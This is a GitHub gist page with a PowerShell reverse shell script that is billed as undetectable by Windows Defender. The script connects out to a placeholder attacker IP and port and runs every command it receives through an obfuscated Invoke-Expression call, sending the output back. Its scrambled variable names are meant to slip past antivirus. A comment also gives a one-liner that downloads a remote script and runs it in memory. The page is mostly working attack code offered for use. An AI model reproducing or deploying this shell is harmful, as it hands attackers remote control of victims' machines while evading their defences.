Forked from guglia001/Undetectable_reverse_powershell_5-9-22.ps1
Created
May 9, 2022 21:57
-
-
Save cbk914/2ddd48a125aa8cc1bc3efe52dba2526a to your computer and use it in GitHub Desktop.
Powershell reverse shell script undetectable by windows defender
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#based on original script by @nikhil_mitt. Change ip and port | |
#Undetectable on 05/09/2022 | |
# Example IEX(New-Object Net.WebClient).downloadString('http://<ip>/<file>.ps1') | |
$KLK = New-Object System.Net.Sockets.TCPClient('<ip>','<port>'); | |
$PLP = $KLK.GetStream(); | |
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0}; | |
$VVCCA = ([text.encoding]::UTF8).GetBytes("Succesfuly connected .`n`n") | |
$PLP.Write($VVCCA,0,$VVCCA.Length) | |
$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ') | |
$PLP.Write($VVCCA,0,$VVCCA.Length) | |
[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0}; | |
while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A); | |
$VZZS = (i`eX $DD 2>&1 | Out-String ); | |
$HHHHHH = $VZZS + (pwd).Path + '! '; | |
$L = ([text.encoding]::UTF8).GetBytes($HHHHHH); | |
$PLP.Write($L,0,$L.Length); | |
$PLP.Flush()}; | |
$KLK.Close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment